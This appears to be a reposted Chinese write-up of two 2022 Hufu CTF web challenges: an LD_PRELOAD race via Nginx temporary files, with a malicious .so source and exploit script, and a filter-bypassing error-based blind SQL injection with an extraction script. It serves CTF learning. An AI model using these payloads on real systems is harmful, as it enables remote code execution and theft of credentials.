2022虎符CTF-WEB赛后复现

news2025/6/9 23:03:05

1、ezphp

参考Jacko师傅的这篇虎符CTF

写的已经很详细了,先简单梳理一下题目,题目与P师傅的这篇文章类似我是如何利用环境变量注入执行任意命令。简单来说就是不同的系统,他的system命令调用的命令不同。

php中调用system本质上是调用了sh -c,在不同操作系统中:

  • debian:sh→dash
  • centos:sh→bash

总结:

  • BASH_ENV:可以在bash -c的时候注入任意命令
  • ENV:可以在sh -i -c的时候注入任意命令
  • PS1:可以在shbash交互式环境下执行任意命令
  • PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
  • BASH_FUNC_xxx%%:可以在bash -csh -c的时候执行任意命令

题目就是P师傅没解决的debian系统

而这篇文章解决了这个问题hxp CTF 2021 - A New Novel LFI

Nginx对于请求的body内容会以临时文件的形式存储起来

大概思路是:

  • 请求一个过大的body,会在/proc/self/fd目录下生成临时文件
  • 传一个填满大量脏数据的so文件
  • 竞争LD_PRELOAD包含 proc 目录下的临时文件

这是生成so的源文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
  unsetenv("LD_PRELOAD");
  system("id");
  system("cat /flag > /var/www/html/flag");
}

注意,在代码里加许多无用代码,我加了两万行的

a=0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0;

如图

使用以下命令编译生成so文件

gcc -shared -fPIC hook_exp.c -o hook_exp.so

后来生成的恶意so文件有163kb

接下来就是竞争脚本,注意url和恶意so文件的路径。

import requests
import _thread

f=open("hook_exp.so",'rb')
data=f.read()
url="http://localhost:12333/"

def upload():
    print("start upload")
    while True:
        requests.get(url+"index.php",data=data)

def preload(fd):
    while True:
        print("start ld_preload")
        for pid in range(10,20):
            file = f'/proc/{pid}/fd/{fd}'
            # print(url+f"index.php?env=LD_PRELOAD={file}")
            resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
            # print(resp.text)
            if 'uid' in resp.text:
                print("finished")
                exit()

try:
    _thread.start_new_thread(upload, ())
    for fd in range(1, 20):
        _thread.start_new_thread(preload,(fd,))
except:
    print("error")

while True:
    pass

当脚本运行出现finished,直接url访问、flag就会自动下载flag

2、Babysql

这里直接搬运Jacko师傅的,我没搞出来

hint.md

```sql
CREATE TABLE `auth` (
  `id` int NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
```

```js
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
  id: number;
  username: string;
}

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}

@Injectable()
export class AuthService {
  constructor(private connectionProvider: ConnectionProvider) {}

  async validateUser(username: string, password: string): Promise<User> | null {
    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
    const user = rows[0];
    if (user && user.password === password) {
      // eslint-disable-next-line @typescript-eslint/no-unused-vars
      const { password, ...result } = user;
      return result;
    }
    return null;
  }
}

这道题出得挺好的

首先看代码逻辑,先对输入的username进行查询,如果有,则用输入的password同查询出来的比较

看了这个首先想到的当然是union select,然而这里过滤了,当然这个过滤是绕不了的,双写不行,这里存在就把这个字符串替空,而不只是union

再看看hint中的regexp,在过滤了()的前提下,regexp确实是个好函数

就想着能不能通过regexp把用户名密码匹配出来,想到了盲注

然而,盲注并非易事,这里不管有没有查询出结果,只要没拿到最终的用户名密码之前,都返回null,这就无法进行布尔盲注了

那有没有可能进行时间盲注呢?没有括号,这里调用不了像sleep()之类的函数,哎?再结合regexp,会不会正则匹配进行延时,然而并没有想象这么简单,进过本地一番测试发现,一延时mysql直接报Timeout了 ,没法利用

然而就在没思绪地用regexp测试的时候,发现当regexp传入不合语法匹配规则的时候会报错,报错?这不是可以用报错进行布尔盲注了吗?

这时候刷新一下题目信息,还是零解,赶紧冲!

说干就干,经过几番优化之后,构造出来

SELECT * FROM auth WHERE username='' or 1 or '' regexp '?' LIMIT 1;

构造是构造出来了,其中1为布尔点,然而当我换成regexp的时候出问题了

SELECT * FROM auth WHERE username='' or username regexp '^a' or '' regexp '?' LIMIT 1;

我原以为当前面匹配的时候,就不会执行后面错误的正则匹配了,然而我错了,regexp的语法检查是在查询判断之前进行的

后面换了其他一些报错的方法,最后发现通过整型溢出可以成功

SELECT * FROM auth WHERE username='' or (username regexp '^a')+~0 or '' LIMIT 1;

当匹配的时候为真,溢出报错,不匹配的时候正常不报错

现在问题就变成了怎么去掉括号,加法的优先级高过regexp,并不是随随便便可以去掉的,这里也想了很久,最后用case来解决了这个问题

SELECT * FROM auth WHERE username=''||case`username`regexp'^a'when'1'then~0+1+''else'0'end||'' LIMIT 1;

这里有几个点:

  • usernameregexp之间怎么隔开?这里把username用反引号引起来
  • whenthen怎么隔开?这里用了字符的强转型
  • then后的1else怎么隔开?这里加多一个空字符
  • 最后end怎么闭合后面的单引号?这里加多一个**||**

这些可能都是一些看到了payload觉得很简单,然而真正亲手尝试的时候会遇到各种各样的坑

后面就是脚本了,同样也并不顺利,和队友交流了之后还是花了好久,不过最终还是做出来了

  • 特殊字符怎么办?用反引号进行转义
  • 大小写怎么区分?用COLLATE utf8mb4_bin

直接上脚本

import requests
url='http://xxx/login'
flag=''
for i in range(1,50):
    for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':
        temp=ascii
        if(temp in '^!?$'):
            temp="\\\\\\"+temp
        payload={
            'password':'xxx',
            'username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"
        }
        response=requests.post(url=url, data=payload)
        print(payload)
        print(response.text)
        if '500' in response.text:
            flag+=temp
            print(flag)
            break
        print(ascii)

跑出用户名密码直接登陆就可以了

3、Baby Router Updater和4、ezchain,一个杂揉了web、crypto、misc、reverse,一个Java,我不会

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/334133.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UDP报文结构

UDP协议 基本特点&#xff1a;无连接、不可靠传输、面向数据报、全双工 UDP协议报文结构 &#xff0c;以下分别是种画法 对上图进行解释&#xff1a; UDP就会把载荷数据&#xff08;就通过UDP socket ,也就是send方法拿来的数据&#xff0c;基础上再在前面拼接上几个字节的…

appium ios真机自动化环境搭建运行(送源码)

appium ios真机自动化环境搭建&运行&#xff08;送源码&#xff09; 目录&#xff1a;导读 &#xff08;1&#xff09;安装JDK&#xff0c;并配置环境变量&#xff0c;方法如下&#xff1a; &#xff08;2&#xff09;安装Xcode、Xcode commandline tools和iOS模拟器 &…

如何判断反馈电路的类型-反馈类型-三极管

如何判断反馈电路的类型 反馈电路类型很多&#xff0c;可根据不同的标准分类&#xff1a; ①根据反馈的极性分&#xff1a;有正反馈和负反馈。 ②根据反馈信号和输出信号的关系分&#xff1a;有电压反馈和电流反馈。 ③根据反馈信号和输入信号的关系分&#xff1a;有串联反…

渗透测试 -- IP、端口信息收集

数据来源 01 IP信息收集 1&#xff09;IP反查域名 同IP网站查询&#xff0c;同服务器网站查询 - 站长工具 专业精准的IP库服务商_IPIP 2&#xff09;域名查询IP IP/IPv6查询&#xff0c;服务器地址查询 - 站长工具 或直接 ping 一下域名就会返回IP 3&#xff09;CDN 如…

补天平台安全问题收录情况分享记录

声明 本文是学习2017年上半年 补天平台漏洞收录分析报告. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 补天平台及补天白帽大会介绍 “补天平台”&#xff0c;成立于2013年3月&#xff0c;全称为“补天漏洞响应平台”。平台旨在收集散落在民间的安…

MySQL8.0之前实现row_number以及计算玩家连续登录天数

使用MySQL 5.7版本统计 玩家连续登录天数 原始数据 玩家同一天多次登录只保留一条 select DISTINCT(FROM_UNIXTIME(login_time,%Y-%m-%d)) as login_date,rid from t_log_login order by rid; 借助两个变量统计每个玩家登录日期对应的次数 SELECT * FROM(SELECT DISTINCT …

云镜CVE-2022-25578复现

CVE-2022-25578复现漏洞信息漏洞复现读取flag&#x1f349; shell来源&#xff1a;https://yunjing.ichunqiu.com/cve/detail/960?type1&pay2漏洞信息 漏洞名称taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码漏洞编号CVE-2022-25578危害等级超危漏洞类型任意…

day34|343. 整数拆分、96.不同的二叉搜索树

343. 整数拆分 给定一个正整数 n &#xff0c;将其拆分为 k 个 正整数 的和&#xff08; k > 2 &#xff09;&#xff0c;并使这些整数的乘积最大化。 返回 你可以获得的最大乘积 。 示例 1: 输入: n 2 输出: 1 解释: 2 1 1, 1 1 1。 示例 2: 输入: n 10 输出: 36 解…

电子技术——共栅(共基)放大器

电子技术——共栅&#xff08;共基&#xff09;放大器 在本节我们学习IC中共栅&#xff08;共基&#xff09;放大器的配置&#xff0c;虽然我们之前在分立电路中学习过共栅&#xff08;共基&#xff09;放大器的配置。但是在IC中共栅&#xff08;共基&#xff09;放大器主要作为…

MES系统助力电子厂行业,打造高能效工厂

ES主要包括生产计划系统、工艺管理系统、质量管理系统、生产过程管理系统、设备管理系统、仓储管理系统及数据采集和统计分析系统等。实现生产过程可视化、可追溯。管理人员可以在管理界面对生产实时控制&#xff0c;从而根据需要精准调整生产&#xff0c;达到提高生产效率、缩…

算法与数据结构理解

目录1、数据结构与算法1.1 定义1.2 常见数据结构1.3 常用算法2、插入排序3、希尔排序4、归并排序1、数据结构与算法 1.1 定义 数据结构&#xff1a;是计算机中存储、组织数据的方式。具有一定逻辑关系&#xff0c;应用某种存储结构&#xff0c;并且封装了相应操作的数据元素集…

HTML浪漫动态表白代码+音乐(附源码)

HTML浪漫表白求爱(附源码)&#xff0c;内含4款浪漫的表白源码&#xff0c;可用于520&#xff0c;情人节&#xff0c;生日&#xff0c;求爱场景&#xff0c;下载直接使用。 直接上源码吧 一.红色爱心 1.效果 实际效果是动态的哦 2.源码 复制粘贴即可运行哦 <!DOCTYPE…

JVM 线程本地分配缓存TLAB

什么是TLAB 从内存模型而不是垃圾收集的角度&#xff0c;对 Eden 区域继续进行划分&#xff0c;JVM 为每个线程分配了一个私有缓存区域&#xff0c;它包含在 Eden 空间内 多线程同时分配内存时&#xff0c;使用 TLAB 可以避免一系列的非线程安全问题&#xff0c;同时还能提升…

一文读懂CXL协议

2001年&#xff0c;英特尔公布了第三代I/O技术——3GIO技术&#xff08;后更名为PCI Express&#xff0c;即PCIe&#xff09;&#xff0c;以高性能、高扩展性、高可靠性及出色的兼容性取代了包括AGP和PCI在内所有的内部总线并且不断升格。例如&#xff0c;2019年5月底公布的PCI…

JUC锁与AQS技术【我的Android开发技术】

JUC锁与AQS技术【我的Android开发技术】 AQS原理 AQS就是一个同步器&#xff0c;要做的事情就相当于一个锁&#xff0c;所以就会有两个动作&#xff1a;一个是获取&#xff0c;一个是释放。获取释放的时候该有一个东西来记住他是被用还是没被用&#xff0c;这个东西就是一个状…

六、Linux文件 - lseek函数

目录 1.lseek函数 2.lseek函数实战 2.1宏SEEK_CUR的用法 2.2宏SEEK_END的用法 3.Open函数实战 - O_APPEND的用法 4.Linux在库函数中寻找相应的宏定义 1.lseek函数 off_t lseek(int fd,off_t offset,int whence);光标的偏移量 fd:文件描述符offset:偏移量whence: SEEK_…

macOS中虚拟机桥接模式分配静态ip

1.首先使用dhclient命令&#xff0c;在局域网中分配一个C类地址。 2.获得地址后&#xff0c;输入ifconfig&#xff0c;查看分配的地址。 3.然后编辑vi /etc/sysconfig/network-scripts/ifcfg-en***文件 在该配置文件中编辑&#xff0c;设置ONBOOTyes&#xff0c;而后添加静态配…

分享5款安全无毒,下载简单的小软件

今天推荐一些安全无毒&#xff0c;下载简单&#xff0c;最重要的是没有广告的软件&#xff01; 1.文件备份传输——MultiPar MultiPar是一款奇偶校验文件工具&#xff08;Parchive tool&#xff09;&#xff0c;用来为文件、文件夹创建校验块&#xff0c;当文件损坏时&#xf…

客户端SDK测试是什么?如何测?(附真实项目经历)

客户端SDK测试是什么&#xff1f;如何测&#xff1f; 目录&#xff1a;导读 SDK是什么 测什么&#xff1f; 功能怎么测 接下来为大家讲述一番我的真实案例 1、做了些什么 2、做的方法 3、做得好的&#xff1a; 4、做得不好的&#xff1a; 5、个人成长&#xff1a; 6、…

产品设计方法论之基础

1、信息控件 输入框限制 输入文本的内容限制。常见的内容限制主要纯字母 (如英文有纯数字 (如手机号码)、名)、纯汉字(如中文名) &#xff0c;以及各种类型的排列组合或违禁内容的输入限制。如果用户输入限制的内容&#xff0c;我们可以按无法输入的逻辑处理&#xff0c;也可以…